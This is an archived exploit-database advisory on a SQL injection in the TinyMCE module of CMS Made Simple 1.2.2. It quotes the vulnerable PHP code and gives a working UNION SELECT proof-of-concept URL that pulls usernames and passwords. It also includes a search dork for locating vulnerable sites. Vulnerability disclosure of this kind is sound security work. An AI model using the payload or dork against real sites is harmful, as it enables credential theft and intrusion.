CMS Made Simple 1.2.2 Module TinyMCE - SQL Injection

EDB-ID:

4810


Author:

EgiX

Type:

webapps


Platform:

PHP

Date:

2007-12-30


-------------------------------------------------------------------------
CMS Made Simple <= 1.2.2 (TinyMCE module) - Remote SQL Injection Advisory
-------------------------------------------------------------------------

author...: EgiX
mail.....: n0b0d13s[at]gmail[dot]com

link.....: http://www.cmsmadesimple.org/
dork.....: "This site is powered by CMS Made Simple version 1.2.2"

[-] Vulnerable code in /modules/TinyMCE/content_css.php :

 26.	$templateid = '';
 27.	if (isset($_GET["templateid"])) $templateid = $_GET["templateid"]; <==
 28.
 29.	$mediatype = '';
 30.	if (isset($_GET["mediatype"])) $mediatype = $_GET["mediatype"];
 31.
 32.	$name = '';
 33.	if (isset($_GET['name'])) $name = $_GET['name'];

 64.		if ($name != '')
 65.			$sql="SELECT css_text, css_name FROM ".$config['db_prefix']."css WHERE css_name = '" . mysql_real_escape_string($name, $db) . "'";
 66.		else
 67.			$sql="SELECT c.css_text, c.css_id, c.css_name FROM ".$config['db_prefix']."css c,".$config['db_prefix']."css_assoc ac WHERE ac.assoc_type='template' AND ac.assoc_to_id = $templateid  (...) <==
 68.		$result=mysql_query($sql);
 69.	//		echo $sql;
 70.		while ($result && $row = mysql_fetch_assoc($result))
 71.		{
 72.			$css .= "/* Start of CMSMS style sheet '{$row['css_name']}' */\n{$row['css_text']}\n/* End of '{$row['css_name']}' */\n";
 73.		}
 
 $_GET["templateid"] isn't properly checked at line 27, this results in a sql injection at line 67
 
[*] An attacker can break database through browser! P.o.C. :

http://[host]/[path]/modules/TinyMCE/content_css.php?templateid=-1/**/UNION/**/SELECT/**/username,1,password/**/FROM/**/{prefix}_users/*

# milw0rm.com [2007-12-30]